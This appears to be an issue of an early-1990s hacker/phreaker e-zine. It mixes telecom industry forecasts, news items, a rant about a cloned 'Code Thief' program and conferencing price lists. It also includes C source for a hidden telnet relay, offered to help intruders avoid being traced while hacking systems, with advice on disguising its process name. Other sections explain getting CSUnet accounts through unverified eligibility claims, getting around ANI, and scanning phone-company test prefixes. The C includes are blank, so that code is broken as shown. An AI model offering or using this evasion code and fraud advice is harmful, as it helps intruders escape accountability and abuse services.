800 number portability to be set in motion.). But AT&T +notified the FCC (on Thanksgiving eve) that MCI may be violating its +intelligent network patents with its Canadian long distance deal. +(Patent attorneys say the way you notify the world you're ready to go +to court is by using the word "may.") + +Briefly, here's what's going on with AT&T patents. AT&T has patents +issued from 1979 to 1982 that appear to cover all intelligent +networking including the use of a database to process 800 calls (the +Weber patent). Under the terms and conditions of the divestiture +agreement (the MFJ), the RBOCs can use any AT&T patents issued through +January 1, 1989, but no one else can without a licensing agreement. +AT&T has notified the FCC that it will not claim infringement if a +carrier (IXC) purchases or interacts with the 800 portability +database. But, AT&T also states that there may be a Weber patent +violation if a carrier operates such a database in its own network. + +The bottom line (another prediction): AT&T can and may choose to make +its competitors lives a patent litigation nightmare on everything from +enhanced 800 to personal communications services if they want to, and +I think they want to. At a minimum, any revenues AT&T loses in the 800 +marketplace from number portability will be made up by patent license +royalty fees. Stay tuned in 1993. + +6. VIDEO DIAL TONE +In October, 1991, the FCC issued a Notice of Proposed Rule Making on +video dial tone which they approved in July 1992. Here's some +background: the FCC informed the RBOCs they could provide video to the +home as common carriers, but they couldn't own more than 5 percent of +an information product or be a program packager (i.e., editor). +TeleStrategies' view of this opportunity is that the RBOCs should +forget going solo; instead, they should partner rather than compete +with the cable industry. Our 1993 assessment: video dial tone is a +loser for the RBOCs. + +Who can win? Small entrepreneurs. Here's how: the RBOCs seem to want +the perception in the industry that they are video players. Under +today's rules, they need video packagers as partners. The big cable +operators won't play, so you, as a private or wireless cable TV +operator or even a second cable operator in a market, can fill the +gaps. Structure a deal in which the RBOCs provide the fiber +infrastructure, and tariff or price it to you under the video dial +tone umbrella (You pay for service incrementally rather than pay the +fully allocated cost of infrastructure.). Of course, you have to give +them a buy-out option when they get permission to get into real cable +TV service. RBOCs need video players and small entrepreneurs can play +that role in 1993. + +7. INTRALATA TOLL +Last year we said that nothing would happen in intraLATA toll +competition regarding 1+ presubscription. Well, we were right. Only +one state (North Dakota) has moved ahead with it. This year won't be +much different. Although nearly 40 states permit 10XXX intraLATA +competition, the IXCs haven't touched it. Only MCI has mildly pushed +for 1+. + +Why? The IXCs are not really ready to explain in a marketing campaign +to the general public what a LATA is, the state PUCs aren't +comfortable with the revenue loss the RBOCs would suffer and the RBOCs +(conveniently) aren't ready with their switches to handle 1+, +intraLATA presubscription. (They want to wait and have this done via +AIN -- see number 9 below.) + +But who can win an intraLATA role? Resellers. The cost of a 100- mile +intraLATA toll call can typically cost two to three times that of a +coast-to-coast call or 25 cents to 50 cents more per minute. These +margins aren't "plump," they're obese. The good news is that a lot of +states permit intraLATA resale. Regardless, if you are a small +carrier, most states don't police intraLATA where customers have +direct access to your switch. + +8. SCREEN PHONES +Last year we predicted that screen phones coupled with CLASS (Custom +Local Area Signalling Services) would be a marketplace winner in 1992. +We still believe they will be a winner, but screen phones only made it +to the market field-trial stage last year. The problem is finalization +of standards and Bellcore expects this to be completed this month. + +In case you haven't been tracking this opportunity, a screen phone is +about 1.5 times the size of a regular phone; it has a display that +ranges from three to four lines of text to 4"x4". It has an additional +four control buttons and some have more soft key options. When coupled +with CLASS, you have a very powerful networking capability that +requires only the same skill level needed to operate your bank's ATM. + +Who's going to win in 1993? LECs with CLASS service and equipment +vendors with simple screen terminals (like Northern Telecom's Display +Phone with a projected roll out price of less than $200). Who's going +to lose? LECs without CLASS services and terminal vendors who make +their products too hard to use -- if an eight year old can't use it, +forget it. + +9. AIN +Excitement remains for the Advanced Intelligent Network (AIN) concept, +particularly within the computer industry. Briefly, AIN permits new +service development to occur outside the CO's computer, thus speeding +up service delivery (months vs. years). It permits the use of +high-power, low-cost workstations and many custom databases holding +end-user information. + +AIN remains a great concept but the RBOCs aren't ready to pull it off. +It's going to take a massive investment, a vision of what business +they want to be in and joint venturing with current competitors (cable +TV, ALTS, cellular companies, etc.) + +Who else is positioned for success in AIN? MCI, Sprint and AT&T. All +have focused in on the future of telephony -- that means PCS and +personal phone numbers -- and all possess some unique resources to +pull it off. + +MCI and AIN: MCI has focused on an infrastructure and has, relatively +speaking, outstanding operational support systems (OSS), including +billing. How do you think they pulled off the "Friends and Family" +program?! They have also emerged as an innovator structuring an +industry consensus for PCS licensing. (Three national licenses held +by consortia, no one player dominates, no local spectrum license if +you operate a cellular system and demerits in the application process +for major, regulated LEC involvement in the consortium.) Also, they +are pushing early for end-user number portability. This is a viable +PCS/AIN approach. + +Sprint and AIN: Sprint has it all in some areas regarding full +services -- long distance, cellular (the Centel merger) and local +(United) service. If they selectively go after AIN in markets where +they have all three forces, it's going to be a good PCS/AIN approach. + +AT&T: AT&T has it all and more, too. It is the largest long distance +carrier, telecom manufacturer and has an option to control the largest +cellular carrier, McCaw. I'll bet AT&T is currently modifying its 4 +and 5 ESS's to come up with a super AIN/PCS/cellular/cable TV +switching network. If they focus on AIN/PCS they, too will be uniquely +positioned. Also, you can expect to see AT&T protecting its +intelligent network patents in 1993 (I know I said that before.) and +you can't get into AIN without violating their string of patents if +they stand up to tests in the courts. After the advent of 800 number +portability, AT&T will have dropped a lot of monopoly baggage, so stay +tuned. Finally, there's one thing that will be facing all three major +IXCs -- numbers. Once numbering issues are resolved (See +TeleStrategies Insight, December 1992) and PCS spectrum is freed up, +the industry will be ready to integrate PCS technology with AIN. + +In summary regarding AIN, 1993 should be spent molding AIN as PCS. If +you don't have that focus, forget it. You will lose. + +10. ISDN +Since our first and last conference on ISDN in December, 1986, +TeleStrategies has consistently pegged this service as a loser. So no +annual assessment of winners and losers would be complete without a +discussion of ISDN. + +The only thing wrong with our categorizing ISDN as a loser is that CO +switch manufacturers have made a bundle using ISDN hype to sell +switches and software upgrades. Also, exhibit-based trade show +producers have made a bundle from renting floor space to the RBOCs for +their giant booths. (To these vendors, ISDN means I See Dollars Now.) + +OK -- for the thousandth time -- why is ISDN a loser? It provides no +near-term customer benefits. Sure, it's elegant and there are market +niches such as digital networking to Europe, DoD encrypted voice, etc. +But there is no "silver bullet" application to justify the cost. +Residential users or small business users can expect to invest +thousands of dollars to start up with ISDN (if they have to start from +scratch, i.e., they don't already own a $10,000 high-end workstation). +And what could you get today with ISDN? Nothing! To these folks, ISDN +means It Still Does Nothing or It Sends Data Nowhere. Regarding big +business, private T-1 networks is where the action is today and +ATM/SONET will be the focus of 1993 planning. Again ISDN makes no +sense in this environment of intra-company data. Regarding +inter-company data applications, the only significant market today is +Internet access, and again (See #1 -- ATM/SONET) users expect "free" +service. So if you want to spend three years or more of your career +waiting for something to happen in ISDN, you've found a winner. +Otherwise, ISDN is a loser. + +All of us at TeleStrategies wish you and yours a happy, healthy and +prosperous 1993. Get out there and pick or stay with a winner! + +If you have comments about this article, please contact Lynn Stern, +Editor of TeleStrategies Insight, by email (lynn@telestrat.com) or by +phone (703-734-7050). + +About TeleStrategies, Inc. and TeleStrategies Insight + +Founded in 1980 by Dr. Jerry Lucas, TeleStrategies, Inc. is the +leading producer of telecommunications industry conferences, seminars +and trade shows in the U.S. Every year the company sponsors +approximately 60 programs, which attract decision makers from every +segment of the telecommunications industry. + +TeleStrategies Insight is the company's monthly newsletter on +telecommunications industry directions and opportunities. For a FREE +subscription and/or a current conference schedule, send an email to +insight@telestrat.com or call TeleStrategies at (703-734-7050). +-- +Peter Decker - Communication Networks, RWTH Aachen (University), + Kopernikusstr. 16, D-5100 Aachen, Germany +e-mail - dec@dfv.rwth-aachen.de ,Telephone: +49-241-807916 + (DG1KPD) Telefax: +49-241-84964 + +Broadband Unveils New System +~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + BroadBand Technologies Inc. announced what it says is a +technology and cost breakthrough. It will enable phone companies +to deliver 1,500 interactive video channels on demand at a cost to +them of less than $500 per customer. That will give phone firms an +advantage over the cable industry in the race to build a national +information network, said Broad Band CEO Salim A.L. Bhatia. + +AT&T, UNITEL To Offer Service +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + AT&T and Unitel Communications Inc., will begin the controlled +introduction of an advanced virtual network service for +multinational customers in the USA and Canada during the third +quarter. The AT&T Software Defined Network to Canada service will +offer uniform voice and data telecommunications across the border, +as well as within the two countries. + +Minn. Majority Leader Resigns +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + Minnesota State Rep. Alan Welle has resigned as House majority +leader after his son and nephew left taxpayers with a phone bill +that could reach $85,000. He said he knew they had swiped his +800-number for over a year but wanted to protect them. + +Windows To Go With TV +~~~~~~~~~~~~~~~~~~~~~ + Windows, the best-selling personal-computer software from +Microsoft, could soon be playing on a TV screens everywhere. +Microsoft, Intel and General Instrument, the nation's largest +supplier of cable television converters, are close to signing a +deal to build a converter box that basically turns TV sets into +personal computers. They should be ready by the end of the year. + +System Uses 386 Chip +~~~~~~~~~~~~~~~~~~~~ + New cable TV converters will contain Windows and Intel's 386 +microprocessor chip. They use windows, which let people operate +computers by manipulating on-screen symbols with a cursor-control +device called a mouse. They will let a cable subscriber point a +wireless mouse at one of several symbols on the TV screen and +select a function such as movies, shop at home and computer games. + +MCI's Phone Is Cheaper +~~~~~~~~~~~~~~~~~~~~~~ + The MCI Videophone will cost $750, almost $250 less than its +chief rival, the AT&T Videophone 2500. And MCI is offering +consumers who buy its Videophone a 5-percent discount on the +purchase of a second videophone, a savings of $37.50. + +Systems Aren't Compatible +~~~~~~~~~~~~~~~~~~~~~~~~~ + Both the AT&T and MCI Videophones transmit color pictures that +show limited motion while allowing callers and listeners to +interact simultaneously. The video technology used in the MCI +version is not compatible with AT&T's product, although you can +still carry on a normal telephone conversation using the two +competing brands. + +Videophone May Be Hard To Find +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + Another drawback with the MCI Videophone is availability. Jim +Folk, vice president of MCI's Videophone division, said the +company has no immediate plans to make its product available in +any retail outlets. "We haven't found an agreement that is +attractive enough," said Folk. "We think our phone is attractively +priced and that people who want a Videophone will make the right +choice." + +MA Bell Busted +~~~~~~~~~~~~~~ + Recently, Ma Bell (more specifically PacBell) was fined $65 million +for fraudulently charging customers for late bills. Apparently they +would process the sent bill late and would charge the customer late +fees if it happened to be after the billing date (even if the bill +was sent and received before this date). In repayment fines they +must refund and divide the fine amung its fraudulently billed customers. + + (--------------------------------------------------------) + + Code Thief v5.1 + by White Lightning + + (--------------------------------------------------------) + +Does the file name, THIEF5_1.ZIP, look familiar to you? If it does, don't be +taken by it. It is a feeble hack ATTEMPT of Code Thief v4.0, which was +originally written by Phortune 500. This is claimed to be written by Xanadu +Systems. Bullshit. Any k-rad 3l33t d00d can hex-edit an EXE file. Below, is +the ACTUAL screen you get when you quit the Code Thief v5.1 program. For those +who would like a copy, you can get it off of IRC via HackSrv, the rest of you, +look on your k-rad H/P boardz.. + +------------------------------------------------------------------------------- + + Code Thief DELUXE By Xanadu Systems + Code Thief Revision 5.1 + An Official Xanadu Product + + + Xanadu Systems, 221b, and The Organization: + + Kane, Sventek, Chris Knight, Ramius, Cracker Jax, Wiseguy, Dr. Watson, + Tinman, L.A., HAl9000, and all the rest.... + + Call Xanadu International Services + 6 0 8 - 8 3 6 - 1 4 5 8 + Type JOSHUA at the # prompt + Get A Reply From Xanadu systems + In Most Cases Within Twenty Four Hours + + - Thanks goes out to- + Terminus, 2AF, Peter King, Code Thief 1.x,2.x,3.0 Releases + The True Hackers Who Have Become Rare + +------------------------------------------------------------------------------- + +Ok, read that carefully. I especially like the line about, "- Thanks goes out +to-" It looks like they couldn't get a nice string to fit in that exact spot +when they hex'ed it. They could have at least spelled everything correctly. +This program does NOTHING new. All it is, is 4.0, with different strings. + +READ THE LAST LINE OF THEIR SCREEN. "The True Hackers Who Have Become Rare" +They should speak. It requires a lot of time and patience to create a program +like Code Thief, and they go in, hex it, and have "Their" program within 15 +minutes. Ha. + +My messages to Xanadu Systems Hex-Editors: + - First of all learn how to spell. Next, learn proper English. Third, learn + - how to fucking program your own code. Show me something that YOU create, + - and we'll see how good you guys are. + + (--------------------------------------------------------) + + Audioconferencing Services + by Arkimage/Chaos + + (--------------------------------------------------------) + +Key: + M = Meet-Me available. + O = Operator intervention on meet-me. + G = Audio-graphics bridging. + T = Tape of conference available. + C = Call-out capability. + +Supplier/Product/Price M O G T C Special Features/Reservation Number +------------------------|-|-|-|-|-|--------------------------------------------- + +American Tele- +Conferencing Svcs. Ltd. + Teleconferencing Srvc. X X X X X Variety of conference call service levels to + $10 to $20/hour/port fit clients' needs and budget. Custom srvc + (Voice & Data) for press conferences, investor relation + calls, audio for video conferences. + Speakerphones and microphones available for + rent/purchase. Reservations 800-776-0700. + +AT&T + Alliance Teleconference X X X X Dialup audio service on 700-456-1000; dialup + $.25/min./port + toll graphics on 700-456-2000. Reservations and + $35 one-time for meetme Meet-Me operator assistance 800-544-6363. + + Operator-Assisted X AT&T now handles most operator-assisted + $9/port + toll conference calls that were formerly from + local BOCs. Reservations 800-225-0233. + +Bell Canada/Telecom Can. + TeleForum X X Call-out is handled by customer interaction + Rate levels vary with with the bridge. Service available as meet- + member companies. me, dial-out, or a combination. Operator- + handled calling service also available. + Call 613-781-7942 for more information. + +Call Points + Call Points X X X X X Volume discounts are available on rates. + $.32/min./port call-out Uses Ropir Industries bridges. Reservations + $.20/min./port meet-me 800-255-5661. + +The Campus Group Company + Audio Conferencing X X X X X Will ship equipment overnight to conference + Service sites; provides on-site support, conference + coordination services. + Call 914-961-1900 for more information. + +ConferTech Canada, Inc. + ConferCall X X X X X Services in Toronto, Montreal. + $.38/min./port (V&D) Call 416-622-8200 for more information. + +ConferTech International + ConferCall X X X X X Bridges are the ConferTech Tempo MBX and + $.38/min./port (V&D) Allegro; purchase credit option available. + Reservations 800-252-5150 or 303-232-2822. + Call for service locations. + +Connex International Inc + Teleconferencing Serv. X X X X X 24-hour service; free speakerphone check; + $20/hour/port/voice round-table discussions at customer request. + $12/hour/port/data Operator online for any assistance needed; + specialized training; free phone consulting; + customer assistance lines. Reservations call + 800-243-9430 or 203-797-9060. + +Darome Teleconferencing + The Darome Connection X X X X X Operator on-line for any assistance needed; + $21/hour/port/voice specialized training. Nine US locations; two + Data quoted separately international. Call Darome for the nearest + location at 312-380-4109. + +DeraCom + DeraCom Conf. Service X X X X X 24 hours/day, 7 days/week service. Houses + $15/hour/port oper asst ALLIANCE bridges. Conferences on demand or + $20/hour/port meet-me by reservation. Conferences billed by + fraction of a minute; no cancellation charge + Billed by number of ports connceted, not + number reserved. Blast up available. + Reservations 800-835-2663 in North America, + 609-896-8185 overseas. Also has 800 Meet-me. + +Local BOCs + Operator-Assisted conf. Not all BOCs offer this service. See listing + calls under AT&T. + Person-to-person rates + +Logical Communications + Teleconferencing Netwk X X X X X Reservations 800-422-0016. + +Market Navigation Inc. + Teleconference Network X X X X Price breaks at various conference sizes; + $12/hour/port overrun charge. Uses Ropir Industries AXIS + bridge. Reserv 800-835-6338 or 914-365-0123. + +MCI + MCI Forum X X X X $.75 in Canada. Plus a one-time charge of + Base fee $6/location, $35 per 800 number. Volume discounts avail. + $.35/min./loc dial-out Operator assistance is available at any time + $.45/min./loc peraonsl by pressing 0. Reservations 800-475-4700, or + 800 meet-me 800-782-1300 (Fax). + +Prefered Communications + Customized Conference X X X X X 800 Dial-in includes toll. Access to variety + Calling of bridging techniques to meet customers' + $.42/min./loc dial-out needs; operator monitored on request, no + $.42/min./loc 800 extra fee. On-demand and standing reservs; + dial-in 24-hour service. Specializes in last-minute + $.25/min./loc meet-me conference calls. Telephone consultation + free of charge. Reservations 800-225-5487. + +Southern New England Tel + SNET Conference Calling X X X X X Access to 270-port, highly interactive, full + $.65/min./port dial-out duplex bridging service to facilitate + $.40/min./port meet-me transmission of voice and data for business + $.65/min./port 800 meet or residential customers. No set-up fee or + Combinations of above hidden charges. Reservations 800-448-2557. + available. + +Sprint Conferencing + Sprint Conference Line X X X X X Full-featured audioconferencing service + $3/caller + $.24/min. offering domestic and international dial-in, + dial-in, $3/caller + dial-out, and combination capability. + $.44/min. dial-out or Conference Fax is also available for + 800 dial-in service distributing information to participants. + Reservations 800-366-2663. + +Additional Company's by CHA0S +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +The following are some additional conferencing company's of which +information has not yet been gathered on : + +Compunetix Conference Call 1-800-967-4633 +A Business Conference Call 1-800-448-9410 +Access Conference Call Service 1-800-777-1826 +Conference Call Service 1-800-272-5663 +Darome Conference Calling Services 1-800-327-6639 +LDB International Corporation 1-800-848-4851 +A Noble Inc 1-800-433-5583 +ACT 1-800-228-3719 +Centerpoint Communications 503-222-4656 +Conference Call USA 503-223-0055 +Conference Plus International 1-800-522-3377 +Protecom 912-471-1177 +Actel 912-929-5317 +Conference Card [Related to MCI?] 1-800-475-5200 +InterCall 1-800-374-2440 +Scherers Communications 1-800-356-6161 +Schneider Communications 1-800-236-0036 + + (--------------------------------------------------------) + + Telnet Gateway + by Chaos + + (--------------------------------------------------------) + + Ever worry about some egotistical sysadmin getting pissed off +when you hack his system, and having him trace it back to your +local system? If you are like most hackers, even if you are +careful and telnet through another system first, it is still fairly +easy to trace back through. Using the following program bellow you +can make it a real bitch for anyone to find where you are coming +from, let alone what account. This program, which has only been +tested on Sun OS, will allocate a port and set up a telnet gateway. +Because this program only allocates a socket, in order for someone +to trace it back to you, the sysadmin of the system it is set up on +would have to monitor the socket and see where the connection is +coming from, which is not very likely, the sysadmin already has +plenty to do. This is setup currently to port 6969 and will run in +the background. Be sure to call it something that will not gather +any suspicion from anyone running ps -aux. This will also write to +the file log, the date and time anyone uses the telnet gateway. +Have phun! + +Thanks go out to al- for the original source code. + +--------------------cut here-------------------- +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + + +FILE *errfd; + +static int serfd; +struct sockaddr_in addr; +char buffer[10][80]; +int sockused[10]; +int numports = 10; +int numproc=0; + +died() +{ + numproc--; + wait3(NULL,WNOHANG,NULL); + signal(SIGCLD,died); + return; +} + +init_io() +{ + + signal(SIGCLD,died); + + if ((serfd = socket(AF_INET,SOCK_STREAM,0)) <0 ) + return(1); + + + addr.sin_family = AF_INET; + addr.sin_addr.s_addr = INADDR_ANY; + addr.sin_port = 6969; + + + if (bind(serfd,(struct sockaddr *)&addr, sizeof(addr))) + { + fprintf(errfd,"ioinit cannot bind socket\n"); + exit(1); + } + + if (listen(serfd,5) == -1) + { + fprintf(errfd,"ioinit cannot listen at socket\n"); + return(1); + } + + return(0); +} + + +getconnect() +{ + int s,length; + struct sockaddr_in address; + + while(1) + { + length= sizeof addr; + while ((s= accept(serfd,&address,&length))<0); + wait3(NULL,WNOHANG,NULL); + if (fork() == 0) /* child */ + { + system("date >>log"); + numproc++; + dup2(s,0); + dup2(s,1); + dup2(s,2); + close(s); + system("exec telnet"); + kill(getpid(),SIGKILL); + + close(0); + close(1); + close(2); + exit; + } /* end child */ + + close(s); + wait3(NULL,WNOHANG,NULL); + } +} + + + + +main() +{ + int i; + char temp[80],*term; + int fd; + + for(i=0;i<36;i++) close(i); + + + + errfd=fopen("ERR","w"); + if(errfd==NULL) return(-1); + setsid(); + if(fork()!=0) return(-1); + init_io(); + getconnect(); +} +--------------------cut here-------------------- + + (--------------------------------------------------------) + + Sprint Conference Line Info + by Chaos + + (--------------------------------------------------------) + + It's Simple! + Bring people together from all + over the globe with + Sprint Conference Line + +It's easy. You can set up a conference call for up to 200 +locations by calling our toll-free reservation line. A Sprint +Reservationalist will answer your questions and take the +information needed to arrange your conference. And you don't even +need to be a Sprint customer. Just dial 1-800-366-CONF(2663) [Gee +how nice of them] to set up your reservation. + +It's flexible. You can add participants to the conference, fax +documents, play pre-recorded audio tapes, break into smaller groups +then rejoin the main conference if you wish, and have an audiotape +recording made of the conference. You tell us what you need and +we'll take care of the details. + + Four ways to conference + DIAL-IN : Join the conference from any location just by + dialing into a pre-assigned phone number at the meeting time. + + DIAL-OUT : At the designated meeting time, a Sprint Conference + Coordinator calls all participants at their location to join + the conference. + + SPRINT CONFERENCE LINE 800 : A toll-free 800 number allows + participants to call from any location at the designated time. + [Duh no shit?] + + COMBINATION CONFERENCE LINE : Create a mix of the three + conference types. + +It's convenient. Arrage impromptu meetings or schedule regular +meetings up to six months in advance. We'll even provide advance +meeting notifications. + +It's cost effective. Using Spring Conference Line requires no +start-up investments, no additional equipment or lines, no long- +term conference contracts and no hidden costs. Call 1-800-366- +CONF(2663) [Again? Maybe we should start counting] to find out +just how economical your conference call meeting can be. + +It's powerful. Take advantage of one of the most powerful business +tools...letting people communicate directly with each other. It's +a sure way to increase productivity. Whether it's a sales group +sprea across the natuon or a hundred clients around the globe, +Sprint Conference Line can have a positive impact on your business. + + Service Rates [Like We Care :) ] + +Dial-Out Conferencing $.44/minute/location and + $3.00/location +Dial-In Conferencing $.24/minute/location and + $3.00/location ($30 MAX) +Dial-In 800 Conferencing $.44/minute/location and + $3.00/location ($30 MAX) +Combination Conferencing Each line is rated based on the type + of service provided. + + Off-Peak + (7 pm - 6 am CST based on start-time) + +Dial-Out Conferencing $.40/minute/location and + $1.00/location +Dial-In Conferencing $.20/minute/location (Per location + fee waived) +Dial-In 800 Conferencing $.40/minute/location (Per location + fee waived) +Combination Conferencing Each line is rated based on type of + service provided. + + Standard Features + +Music On Hold [Classical Shit] No Charge* +Roll Call No Charge* +Coordinator On Demand No Charge* +Full Time Conference Monitoring [NO!!] No Charge* + + Optional Features + +Conference Fax $1.00/page/location +Conference Tape Recording $10.00/tape +On-line Tape Playback $10.00/tape +Duplicate Tape Recording $5.00/tape +Advance Notification (Phone or Fax) $3.00/location +Conference Participant List No Charge* +Passsword Security No Charge* +Sub Conferencing No Charge* + + (--------------------------------------------------------) + + A Business Conference-Call, Inc. + by Chaos + + (--------------------------------------------------------) + + Service Rates + +Meet-Me Conference : Participants dial in to a preassigned number +and out attendant connects them to your conference. +$.25/minute/line plus $3.00 setup/line + +800 Meet-Me Conference : Participants dial in to a preassigned 800 +number and out attendant connects them to your conference. +$.45/minute/line plus $3.00 setup/line + +Dial-Out Conference : Out attendant dials out to participants and +connects them to your conference. $.25/minute/line plus $3.00 +setup/line plus long distance charge + +* Setup charge applies only to first 6 lines. + +Long Distance Charges + +$.20 minute/line within the continental U.S. +$.25 minute/line for Alaska and Hawaii +$.65 minute/line for Canada +* Standard rates for International calls + + Features +* Automatic Level Control + There's no need to strain to hear quiet voices or be + surprised by loud ones. Automatic level control adjusts + the volume of each speaker to a comfortable level. +* Multi-Speaker Capability + Business teleconferencing that sounds at natural as a + face to face meeting. So conversational you may forget + you are on the phone. +* Immediate Speaker Detection + In natural dialogue speakers must be able to join the + conversation easily. Our new system acknowledges and + includes a new speaker so fast you won't even notice it. +* Network Noise Control + Speech and noise are digitally separated. Background + noise and echo are eliminated. This system reacts only + to the speakers voice. The result is crisp and clear + conversations. + + (--------------------------------------------------------) + + Access Internet in California + via CSUnet + + by Chaos + + (--------------------------------------------------------) + + So you live in California, or you are simply looking for a +telnet site on internet. CSUnet offers FTP, telnet, and mail +services (along with a bunch of other worthless shit) to anyone who +qualifies under the following : + +[1] California State University Profesor +[2] CSU Student +[3] California K-12 Student + + If you live in California, you probobaly qualify under this. +The funny thing is, they do not verify this, although they +probobaly would be curious if you told them you lived out of state. +You ask, why would they have your address, well in order to get an +account they must MAIL YOU your account name and password. +Obtaining an account is very easy and only takes a minute. Follow +this process. + +SWRL/Long Beach (310) 985-9540 +Bakersfield (805) 664-0551 +Chico (916) 894-3033 +Dominguez Hills (310) 769-1892 +Fresno (209) 278-7366 +Fullerton (714) 526-0334 +Hayward (510) 727-1841 +Humboldt (707) 822-6205 +Los Angeles (213) 225-6028 +Mission Viejo (714) 364-9496 +Northridge (818) 701-0478 +Pomona (909) 595-3779 +Sacramento (916) 737-0955 +San Bernadino (909) 880-8833 +San Diego (619) PRI-VATE * See Note +San Francisco (415) 333-1077 +San Jose (408) 924-1054 +San Luis Obispo (805) 549-9721 +San Marcos (619) PRI-VATE * See Note +Sonoma (707) 664-8093 +Stanislaus (209) 632-7522 +Ventura (805) 643-6386 + +* Due to extensive use these numbers will not be published here. + If you are in dire need of these numbers please let me know and + I will consider it =). + +Note : All Dialups have a max baud rate of 9600. + +[1] Dial up a local dialup listed above. + +CSUNET SWRL Pad/xx, Port: Pxx +fax: p(128,128),w(2,2),d(2400,2400) +com +Welcome to The California State University Network (CSUnet) +SWRL Pxx Port xx Apr 6, 1993 10:30 + +Please enter CSUnet Access Core (return for default): ctp + +Connecting to SWRL33... + +SunOS UNIX (eis.calstate.edu) +login: ctp + +[2] Select apply for an account from the menu. +[3] Fill out application with a real mailing address in California + in order to receive mail with your account and password. + + Commentary + +Due to extensive hack attempts at CSUnet, they have gone to this +really lame menuing system. It restricts you to it, and no shell. +Which really sucks, so I personally use this as a gateway and then +telnet to another site with a shell, but hey, they are plenty of +dialups and its a mailing address. + + (--------------------------------------------------------) + + Art of Phreaking I + by Electronic Vampyre + + (--------------------------------------------------------) + +Preface: With my dealings with PiRaTeS nationally i have found many know +little about phreaking. Furthermore, phreaking seems to be an arcane art few +know and only the reveared elite know. Every PiRaTe knows the basic k-rad +phreak stuff (c/na loops, ANI, COCOTs, etc.) and basic circumvention methods +(boxes, c0dez, etc.) but most lack the hard core info of phreaking. PiRaTiNG +encorperates all aspects of P.H.A.C.C.V. but the "P." seems to be replaced by +a "C." for c0dez. This is intended to inform the uneducated, if you are +already knowledged in the aspects of phreaking then skip this. + +Initially i will examine the procedures of dialing (both domestic and +international) and the numbering plans for each. + +DOMESTIC DIALING +---------------- +In the United States and Canada telephone numbers are based on a ten digit +dialing code (better known as the network address or destination code), the +break down of this code is as follows: + + - a 3 digit Number Plan Area (NPA) code (aka Area Code). This tells +the switching equipment where to send the signal. + - a 7 digit telephone number. This number consists of a 3 digit +Central Office (CO) code, to further direct the signal, and a 4 digit station +number. + - all numbers consist of the following format: + + NPA Telephone Number + --- ---------------- + N*X NXX . XXXX + + N = a numerical digit with a value of 2-9 + * = a numerical digit with a value of 0 or 1 + X = a numerical digit with a single value (0-9) + +The NPA breaks into two types of numbers, Area Codes and Special Access Codes +(SAC's). The area code represents an area within one state's boundaries and +all the numbers within it. A list of area codes can be obtained from your +trusty white pages. SAC's are found nationally and can be used from any +telephone within the North American Numbering Plan. SAC's include the +following: + + 510 - USA TWX services + 610 - Canadian TWX services + 700 - Specialized Telephone Company uses + 710 - USA TWX + 800 - Wide Area Telephone Services (WATS) + 900 - Dial-it services + 910 - USA TWX + + - TWX SAC's +The SAC's of TWX (Telix ][) consist of the above numbers, these are owned and +utilized primarily by Western Union. Each number is routed to a normal +telephone number and will always respond with an answerback. The baud rate +for these SAC's is 110. + + - 700 SAC +The 700 SAC is used for speciality services. The 700 SAC is similar to that +of the WATS and 900's for it encompasses normal dial-in calls. When generated +the customer decides if the number is to be a toll (pay) call or charged to +the generating customer. Examples of 700 SAC's: + + 1.700.555.4141 (toll free) - this allows the customer to check + their long distance carrier. + 1.700.456.1000 (toll) - AT&T Alliance number to initiate an + immediate non-meet me conference. + Others: AT&T Alliance toll meet me conferneces. + AT&T Easy Reach - This is a new service that allows a + customer to have all calls sent to the + predetermined 700 to their present + location phone number. These calls to + the 700 number can be either free or + toll depending on the type of service + the customer requests. For more info + call 1.800.222.0300. + + - 800 SAC +This SAC is the favorite of most PiRaTeS for it allows for toll-free calls. +Many c0dez, dialups, VMB cities, etc. are found within this domain. There are +two type of WATS (800) services. + + Inward WATS (INWATS) - The inward dial wide area telecommunications +service are most common and known. These are established in 6 service areas +or BANDS. A level 6 band is available nationally with the exception of the +originating state (usually there is another INWATS number for this area, +better known as INTRASTATE WATS). +Band 5 INWATS encorperates the 48 continental states. This continues until +band 1 is reached; service is only included to the state and neighboring +states. When dialed the INWATS number causes the CO to search for the +companies first available line. It searches sequentially until an available +port is found, if not then it returns a busy signal. Usually a minimum of 2 +lines is required for an INWATS number (personal 800 numbers differ). Billing +of an INWATS number is based on time spent on the number. + * NOTE - The ANI when calling an INWATS can be cirvumvented by having your +local TSPS operator dial the number for you. + + Outward WATS (OUTWATS) - These are 800's used by large companies for +large, volume discount outward dialing. These are used primarily because +these services are given with bulk-rate discounts. The DO NOT allow inward +calls. Their format consists of: + + (800) *XX.XXXX + * - numerical digit of 0 or 1 + X - numerical digit of 0-9. +The specific *XX identifies the type of services and calling zones. + + - 900 SAC +This SAC allows for dial-it services. It has flat rate standardized costs. +These are primarily used for voting, quiz calls, etc. + +Along with the above listed SAC's there are also others known as CO Codes. + + 555 - Directory Services + 844 - Time \_ these are more commonly found in the 976 exchange + 936 - Weather / TIME - 1.800.844.3434 WEATHER - 1.800.936.XXXX + 950 - Extender Services + 958 - Plant Test + 959 - Plant Test + 976 - Dial-it Services + +ANI and Ringback are considered special CO codes and vary from area to area. + + 950 + --- +This is a code given to large companies to allow for thier employees call +toll-free from any location and all charges are billed to the company. + + Plant Test Numbers + ------------------ +ANI (Automatic Number Identification) - This tells you the number that you are +calling from. This number is free and can be used from any phone within the +network. This is intended for linemen to have access to the number they are +dealing with when they clip into a line, etc. + +Ringback - This allows for you to make the phone you are at ring. This number +is free when dialed within the network. This is intended for linemen to be +able to test a phone's ringing capabilities and other related things. (This +is the number every elementary child uses to make the pay phones ring.) + + X11 Codes + --------- + 011 - International Dialing Prefix + 211 - Coin Refund Operator (in 6i9 this number also encorperates ANI) + 411 - Local Directory Assistance + 611 - Repair Services + 811 - Business Offices + 911 - Emergency + + 976 + --- +This is the dial-it services that allow the destination number to set the +billing rate (via ccd's). This is primarily used by party lines, prono lines, and live +interaction telephoning. + + * The following is a list of unpublished and unclaimed 3 digit prefixes +and NPA numbers. The telephone company utilizes these for their own purposes +and testing. Scan away and see what you can find. + + Area Numbers + ---- ------- + 200 201-10, 212-19, 227, 240-57 + 300 320-36, 360-89 + 400 391-419 + 500 + 600 635-55 + 700 769-81 + 800 820-44, 846-99 + 900 